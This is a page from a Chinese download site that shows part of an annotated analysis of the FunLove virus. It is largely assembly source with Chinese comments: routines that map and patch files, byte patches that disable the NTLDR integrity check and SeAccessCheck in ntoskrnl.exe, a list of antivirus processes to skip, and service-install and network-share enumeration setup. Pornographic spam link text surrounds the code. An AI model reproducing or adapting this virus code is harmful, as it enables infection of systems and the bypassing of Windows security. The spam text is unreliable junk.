亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? funlove_vir.txt

?? FunLove完整病毒分析.txt 論壇潛規則
?? TXT
?? 第 1 頁 / 共 4 頁
字號:
 p_PatchAddr : DWORD, \得到補丁地址;
 p_PatchSize : DWORD 得到循環的次數,這里是要修改的指令的字符串的長度;
 
 LOCAL p_FileHandle : DWORD, \定義本地變量,存放文件句柄;
 p_FileSize : DWORD, \定義本地變量,存放文件大小;
 p_MapHandle : DWORD \定義本地變量,存放內存映射文件句柄;
 
 
 USES esi,edi;保存esi,edi,本過程結束后自動恢復;
 
 
 push p_Filename ----| 
 push 03 |
 call OpenFile ------|判斷文件是否存在;
 
 cmp eax,-1 ---------|
 jz short PA_Exit----|不存在就退出;
 
 mov p_FileHandle,eax;保存句柄;
 
 push 00-------------|
 push eax |
 call GetFileSize----|得到文件大小;
 
 mov p_FileSize,eax;保存文件大小;
 
 push p_FileHandle---|
 push eax |
 call MapFile--------|建立內存映射文件; 
 
 or eax,eax
 jz short PA_CloseFile;失敗,則跳轉關閉文件;
 
 mov p_MapHandle,eax;保存內存映射文件句柄;
 
 push eax -------|
 call ViewMap----|映射內存對象;
 
 or eax,eax ------------|
 jz short PA_CloseMap---|失敗則關閉內存映射文件;
 
 mov edx,eax;成功,保存句柄;
 
 mov edi,eax;保存文件在內存中的起地址;
 mov esi,p_PatchAddr;把補丁字符串的首地址給esi,為下面的比較做準備;
 mov ecx,p_FileSize;得到文件大下,為下面的循環比較做準備;
 
 PA_00:
 
 push ecx;壓棧保存循環次數;
 push esi;壓棧保存補丁字符串地址;
 push edi;文件在內存中的地址入棧;
 mov ecx,p_PatchSize;補丁大小入棧,這里是內層循環的次數;
 repz cmpsb;比較,5個一組;
 pop edi
 pop esi
 pop ecx
 jz short PA_01;找到了,則修改;
 inc edi;沒找到,edi加1,在內存中后移一位
 loop PA_00;繼續尋找,ecx減1;
 
 jmp short PA_Unmap;如果循環結束都沒有找到,就去pa_unmap,做清理工作;
 
 PA_01:
 
 mov ecx,p_PatchSize----------|
 add esi,ecx |
 repz movsb -----------------|打補丁了 
 
 PA_Unmap:
 
 push edx ;開始保存的內存映射文件的句柄可以起作用了;
 call UnmapViewOfFile;在當前應用程序的內存地址空間解除映射
 PA_CloseMap:
 
 push p_MapHandle;關閉一個內核對象(除非該對象的所有引用都已關閉否則對象不
 call CloseHandle;會被實際刪除;
 
 PA_CloseFile:
 
 push p_FileHandle;關閉文件對象;
 call CloseHandle;
 
 PA_Exit:
 ret
 
 
 PatchFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; --------------------------- Minor Routines -------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 GetVS:
 
 call $ + 5
 pop ebx
 sub ebx,offset GetVS + 5 - VStart
 ret
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 RelocKernel32 PROC PASCAL NEAR
 
 
 ARG r_Kernel32 : DWORD ;把開始壓入的值,彈出給變量,即是,kernel32的返回地址;
 
 
 push r_Kernel32 ;壓棧,用堆棧傳遞參數給下面的調用;
 call Whereis_GPA ;定位getprocaddress的地址,找到了它后面的其他的api就
 辦了;
 or eax,eax ; eax里面是whereis_gpa執行后的值,當前值為kernel32的基地址;
 jz short RK_00;判斷是否成功,失敗退出
 
 push eax ;壓棧eax,以堆棧傳值給先面的dll_relocate過程;
 lea esi,[Kernel32_Functions @] ;把api的名字字符串的首 地址傳入esi,為下面的查找api地址做準備;
 push esi 
 call DLL_Relocate ;開始查找api,獲取api的地址;
 RK_00:
 ret ;返回;
 
 
 RelocKernel32 ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 RelocAdvapi32 PROC NEAR
 
 
 lea eax,[ADVAPI32_Name @];取得高級api的名字字符串的地址;
 push eax ;壓棧
 call LoadLibraryA;通過loadlibrary加載advapi32.dll
 or eax,eax------|
 jz short RA_00--|失敗就退出;
 
 push eax-----------------------------|這里的eax是加載后的dll的地址,搜索api |要用的到
 lea esi,[ADVAPI32_Functions @] |
 push esi | 
 call DLL_Relocate--------------------|成功就開始搜索advapi32里面的高級api的 地址
 
 RA_00:
 ret
 
 
 RelocAdvapi32 ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 OpenFile PROC PASCAL NEAR
 
 
 ARG o_Filename : DWORD, \從堆棧得到文件名;
 o_OpenMode : DWORD 從堆棧的到打開方式;
 
 push 20 --------|
 push o_Filename |
 call SetFileAttributesA-----|設置文件的屬性;
 
 push 00---------------------|
 push 80 | 
 push o_OpenMode |
 push 00 | 
 push 00 | 
 push 0C0000000 | 
 push o_Filename |
 call CreateFileA------------|打開一個文件,以讀寫的方式;
 ret
 
 
 OpenFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 MapFile PROC PASCAL NEAR
 
 
 ARG m_FileHandle : DWORD, \從堆棧取得文件句柄;
 m_FileSize : DWORD 從堆棧取得文件的大小;
 
 
 push 00-----------------|
 push m_FileSize |
 push 00 |
 push 04 |
 push 00 |
 push m_FileHandle |
 call CreateFileMappingA-|建立內存映射文件,以傳遞的參數的大小建立;
 ret
 
 
 MapFile ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 ViewMap PROC PASCAL NEAR
 
 
 ARG v_MapHandle : DWORD ;得到內存映射文件句柄;
 
 
 push 00--------------|
 push 00 |
 push 00 |
 push 02 |
 push v_MapHandle | 
 call MapViewOfFile---|將文件映射對象映射到本程序的地址空間;
 ret
 
 
 ViewMap ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 Wait_A_Little PROC NEAR
 
 
 call GetTickCount---|
 sub eax,[Tick @]---|取得當前的時間在和開始保存的比較看是否超過4秒了 
 
 cmp eax,4*1000d----| 
 jc short WAL_00---|沒有就繼續感染文件;
 
 push 16d*1000d-------| 
 call Sleep-----------|超過了4秒了,就可是睡眠16秒;
 
 call GetTickCount----|
 mov [Tick @],eax----|把睡眠后的時間當作下次比較的標準保存在tick中
 WAL_00:
 ret
 
 
 Wait_A_Little ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 GetRand PROC NEAR
 
 push ecx
 push edx
 mov eax,[Rand @]
 xor edx,edx
 mov ecx,7FFFFFFF
 mul ecx
 inc eax
 mov ecx,0FFFFFFFBh
 div ecx
 mov eax,edx
 mov [Rand @],eax
 pop edx
 pop ecx
 ret
 
 
 GetRand ENDP
 
 
 ; ------------------------------------------------------------------------- ;
 ; -------------------------- INITIALIZED DATA ------------------------- ;
 ; ------------------------------------------------------------------------- ;
 
 
 HostCode db 8 dup (?)
 
 
 GPA_Sigs:
 
 W9x db 0C2,04,00,57,6A,22,2Bh,0D2
 NT4 db 0C2,04,00,55,8Bh,4C,24,0C
 W2K db 00F,00,00,55,8Bh,0ECh,51,51
 
 
 NTLDR db ‘NTLDR‘,0
 
 NT4_NTLDR db 3Bh,46,58,74,07 ; signature (file check)
 db 3Bh,46,58,0EBh,07 ; patch
 
 W2K_NTLDR db 3Bh,47,58,74,07
 db 3Bh,47,58,0EBh,07
 
 
 NTOSKRNL db ‘WINNT\System32\ntoskrnl.exe‘,0
 
 NT4_NTOSKRNL db 8A,0C3,5F,5E,5Bh,5Dh,0C2,28,00 ; SeAccessCheck
 db 0B0,01,5F,5E,5Bh,5Dh,0C2,28,00
 
 W2K_NTOSKRNL db 8A,45,14,5F,5E,5Bh,5Dh,0C2,28
 db 0B0,01,90,5F,5E,5Bh,5Dh,0C2,28
 
 SkipNames:
 
 dd 139D7300h ; aler
 dd 0F977200h ; amon
 dd 118E7E1Eh ; _avp
 dd 52886900h ; avp3
 dd 0C886900h ; avpm
 dd 13883207h ; f-pr
 dd 168E7E0Fh ; navw
 dd 0F997C12h ; scan
 dd 128B7212h ; smss
 dd 04907B05h ; ddhe
 dd 00946F05h ; dpla
 dd 00946F0Ch ; mpla
 
 
 Process db ‘flcss.exe‘,0
 Service db ‘FLC‘,0
 
 ; Minimal Import Section
 
 VImports:
 dd offset Kernel32_Pointers + I
 dd -1,-1
 dd offset Kernel32_Name + I
 dd offset Kernel32_Relocated + I
 db 14 dup (0)
 
 Kernel32_Pointers dd offset Kernel32_Beep + I, 0
 Kernel32_Relocated dd offset Kernel32_Beep + I, 0
 Kernel32_Beep db ?,?,‘Beep‘,0
 
 
 ; Virus Imports
 
 Kernel32_Name db ‘KERNEL32.dll‘,0
 Kernel32_Functions:
 
 CloseHandle: db 0B8,?,?,?,?,0FF,0E0,‘CloseHandle‘,0
 CreateFileA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileA‘,0
 CreateFileMappingA: db 0B8,?,?,?,?,0FF,0E0,‘CreateFileMappingA‘,0
 CreateProcessA: db 0B8,?,?,?,?,0FF,0E0,‘CreateProcessA‘,0
 CreateThread: db 0B8,?,?,?,?,0FF,0E0,‘CreateThread‘,0
 FindFirstFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindFirstFileA‘,0
 FindNextFileA: db 0B8,?,?,?,?,0FF,0E0,‘FindNextFileA‘,0
 FindClose: db 0B8,?,?,?,?,0FF,0E0,‘FindClose‘,0
 GetCurrentProcessId: db 0B8,?,?,?,?,0FF,0E0,‘GetCurrentProcessId‘,0
 GetDriveTypeA: db 0B8,?,?,?,?,0FF,0E0,‘GetDriveTypeA‘,0
 GetFileSize: db 0B8,?,?,?,?,0FF,0E0,‘GetFileSize‘,0
 GetProcAddress: db 0B8,?,?,?,?,0FF,0E0,‘GetProcAddress‘,0
 GetTickCount: db 0B8,?,?,?,?,0FF,0E0,‘GetTickCount‘,0
 GetSystemDirectoryA: db 0B8,?,?,?,?,0FF,0E0,‘GetSystemDirectoryA‘,0
 LoadLibraryA: db 0B8,?,?,?,?,0FF,0E0,‘LoadLibraryA‘,0
 MapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘MapViewOfFile‘,0
 ReadFile: db 0B8,?,?,?,?,0FF,0E0,‘ReadFile‘,0
 SetFileAttributesA: db 0B8,?,?,?,?,0FF,0E0,‘SetFileAttributesA‘,0
 SetFileTime: db 0B8,?,?,?,?,0FF,0E0,‘SetFileTime‘,0
 Sleep: db 0B8,?,?,?,?,0FF,0E0,‘Sleep‘,0
 UnmapViewOfFile: db 0B8,?,?,?,?,0FF,0E0,‘UnmapViewOfFile‘,0
 VirtualAlloc: db 0B8,?,?,?,?,0FF,0E0,‘VirtualAlloc‘,0
 VirtualFree: db 0B8,?,?,?,?,0FF,0E0,‘VirtualFree‘,0
 WriteFile: db 0B8,?,?,?,?,0FF,0E0,‘WriteFile‘,0
 
 ; this function does only exist under Win9x
 
 db 0
 RegisterServiceProcess: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceProcess‘,0
 
 USER32_Name db ‘USER32.dll‘,0
 RegisterClassA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterClassA‘,0
 
 ADVAPI32_Name db ‘ADVAPI32.dll‘,0
 ADVAPI32_Functions:
 
 OpenSCManagerA: db 0B8,?,?,?,?,0FF,0E0,‘OpenSCManagerA‘,0
 OpenServiceA: db 0B8,?,?,?,?,0FF,0E0,‘OpenServiceA‘,0
 CreateServiceA: db 0B8,?,?,?,?,0FF,0E0,‘CreateServiceA‘,0
 StartServiceA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceA‘,0
 StartServiceCtrlDispatcherA: db 0B8,?,?,?,?,0FF,0E0,‘StartServiceCtrlDispatcherA‘,0
 RegisterServiceCtrlHandlerA: db 0B8,?,?,?,?,0FF,0E0,‘RegisterServiceCtrlHandlerA‘,0
 SetServiceStatus: db 0B8,?,?,?,?,0FF,0E0,‘SetServiceStatus‘,0
 
 MPR_Name db ‘MPR.dll‘,0
 
 MPR_Functions:
 
 WNetOpenEnumA: db 0B8,?,?,?,?,0FF,0E0,‘WNetOpenEnumA‘,0
 WNetEnumResourceA: db 0B8,?,?,?,?,0FF,0E0,‘WNetEnumResourceA‘,0
 WNetCloseEnum: db 0B8,?,?,?,?,0FF,0E0,‘WNetCloseEnum‘,0
 
 VEnd:
 
 
 ; ------------------------------------------------------------------------- ;
 ; ------------------------- UNINITIALIZED DATA ------------------------ ;
 ; ------------------------------------------------------------------------- ;
 
 
 Kernel32_Base dd ?
 Rand dd ?
 Tick dd ?
 OS db ?
 
 
 ALIGN 100
 
 
 Buffer1 db 200 dup (0) ; Current Directory
 Buffer2 db 200 dup (?) ; Search Buffer
 Buffer3 db 2000 dup (?) ; Read Buffer
 
 
 VSize equ offset VEnd - VStart
 
 Phys_VSize equ 1000
 Virt_VSize equ 4000
 
 
 CODE ENDS
 
 END main
 
 
 
 
 原作者: Jackhy/CVC.GB 
 
  

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产精品久久久久四虎| 另类小说综合欧美亚洲| 日韩电影一区二区三区| 国产a久久麻豆| 欧美日韩五月天| 亚洲少妇屁股交4| 国产黄人亚洲片| 欧美精三区欧美精三区| 亚洲狠狠丁香婷婷综合久久久| 国产精品综合二区| 欧美一区二区三区视频在线| 一个色妞综合视频在线观看| 不卡的av在线播放| 久久久高清一区二区三区| 蜜桃免费网站一区二区三区| 欧美性猛片xxxx免费看久爱| 中文字幕在线一区二区三区| 国产很黄免费观看久久| 精品区一区二区| 奇米四色…亚洲| 欧美日韩国产天堂| 亚洲第一福利一区| 欧美中文一区二区三区| 亚洲精品视频在线观看网站| 91视视频在线直接观看在线看网页在线看 | 欧洲亚洲国产日韩| 亚洲男帅同性gay1069| 不卡视频一二三四| 国产精品五月天| 成人18视频日本| 中文av字幕一区| 成人动漫av在线| 综合欧美亚洲日本| 色婷婷亚洲一区二区三区| 亚洲精品国产一区二区三区四区在线| 91亚洲精品一区二区乱码| 亚洲视频每日更新| 欧美午夜免费电影| 日本美女视频一区二区| 精品国产人成亚洲区| 国产麻豆视频一区二区| 欧美激情中文不卡| 99re这里都是精品| 亚洲国产精品久久人人爱| 欧美三级中文字幕在线观看| 日日夜夜精品视频免费| 精品黑人一区二区三区久久| 国产成+人+日韩+欧美+亚洲| 中文字幕一区二区三区蜜月| 91美女视频网站| 丝袜a∨在线一区二区三区不卡| 欧美日韩成人一区二区| 久久99国产精品尤物| 国产精品网曝门| 在线观看免费一区| 精品综合久久久久久8888| 日本一区二区综合亚洲| 日本伦理一区二区| 久久国产婷婷国产香蕉| 日本一区二区三区在线观看| 在线看国产日韩| 另类调教123区| 亚洲欧洲日产国产综合网| 欧美美女一区二区在线观看| 国产一区二区三区精品欧美日韩一区二区三区| 国产视频911| 欧美三级蜜桃2在线观看| 国产在线精品一区二区 | 国产蜜臀97一区二区三区 | 99热精品一区二区| 香蕉久久夜色精品国产使用方法| 久久久99精品久久| 欧美日韩国产在线观看| 成人性色生活片免费看爆迷你毛片| 亚洲色图制服丝袜| 精品电影一区二区| 欧美性xxxxx极品少妇| 国产成人亚洲综合a∨婷婷| 亚洲成人av一区二区三区| 中文字幕av不卡| 精品日韩av一区二区| 色婷婷综合久久久久中文一区二区| 九九视频精品免费| 亚洲成精国产精品女| 国产精品乱人伦| 26uuu精品一区二区三区四区在线 26uuu精品一区二区在线观看 | 美日韩一区二区三区| 亚洲日本青草视频在线怡红院| 日韩欧美电影在线| 欧美人体做爰大胆视频| 99国产精品久久久久久久久久 | 91免费国产在线| 国产精品99久久久久久宅男| 日韩影院精彩在线| 亚洲卡通欧美制服中文| 欧美经典一区二区| 亚洲精品一区二区精华| 日韩欧美国产一区二区三区| 欧美日韩电影在线| 欧美日韩美少妇| 色哟哟一区二区| 91丨porny丨国产| 91香蕉国产在线观看软件| 成人免费视频网站在线观看| 国产精品中文字幕一区二区三区| 久草精品在线观看| 日本中文字幕一区| 日韩制服丝袜av| 日韩电影在线一区| 蜜臀av性久久久久蜜臀aⅴ| 午夜精品一区二区三区三上悠亚| 亚洲自拍偷拍网站| 亚洲福利视频三区| 亚洲成人一区二区| 亚洲va中文字幕| 日韩va亚洲va欧美va久久| 亚洲sss视频在线视频| 亚洲一区二区在线免费观看视频| 一区二区三区久久久| 亚洲一区二区三区四区五区中文| 亚洲靠逼com| 亚洲成a人片在线不卡一二三区 | 一区二区三区不卡视频在线观看| 亚洲免费伊人电影| 一区二区成人在线| 图片区小说区区亚洲影院| 日韩激情av在线| 国产一区二区毛片| 成人黄色免费短视频| 在线视频国内一区二区| 欧美人xxxx| 久久久久久综合| 亚洲视频在线一区| 午夜精品久久久久久久久久久| 爽好久久久欧美精品| 精品无人码麻豆乱码1区2区 | 亚洲色图丝袜美腿| 午夜精品爽啪视频| 国产原创一区二区三区| eeuss鲁片一区二区三区在线观看| 一本一本大道香蕉久在线精品| 欧美视频中文一区二区三区在线观看| 91精品久久久久久久99蜜桃| 久久午夜色播影院免费高清| 亚洲视频一区二区在线| 奇米一区二区三区av| 成人h动漫精品| 欧美日韩高清一区二区| 久久久www成人免费毛片麻豆| 亚洲欧美日韩在线播放| 久久机这里只有精品| 91在线视频免费91| 日韩欧美一区二区三区在线| 国产精品国产精品国产专区不蜜 | 日本久久一区二区三区| 日韩一区二区不卡| 自拍偷拍欧美激情| 九九久久精品视频| 欧美午夜精品一区二区蜜桃 | 亚洲mv在线观看| 成人性生交大片| 日韩欧美区一区二| 亚洲一区在线看| 丁香天五香天堂综合| 欧美精品久久天天躁| 综合久久久久久久| 国产精品亚洲综合一区在线观看| 欧美日韩大陆一区二区| 亚洲人成精品久久久久久 | 国产精品盗摄一区二区三区| 免费看欧美女人艹b| 91热门视频在线观看| 久久久精品2019中文字幕之3| 午夜精品久久久久久久蜜桃app| av电影在线观看不卡| 26uuu亚洲综合色| 男男视频亚洲欧美| 欧美日韩精品专区| 亚洲裸体xxx| 99久久精品99国产精品| 亚洲国产精品高清| 国产一区二区精品久久99| 日韩一级精品视频在线观看| 亚洲一区二区三区不卡国产欧美| av电影在线观看完整版一区二区 | www成人在线观看| 蜜桃av一区二区| 日韩一级在线观看| 日本女优在线视频一区二区| 欧美日本在线观看| 亚洲一区二区三区爽爽爽爽爽| 91污在线观看| 一区二区三区四区激情| 一本久道中文字幕精品亚洲嫩| 亚洲婷婷综合色高清在线| 成人sese在线| 亚洲精品乱码久久久久久黑人 | 成人综合婷婷国产精品久久蜜臀| 2020国产精品久久精品美国| 国产一区欧美一区|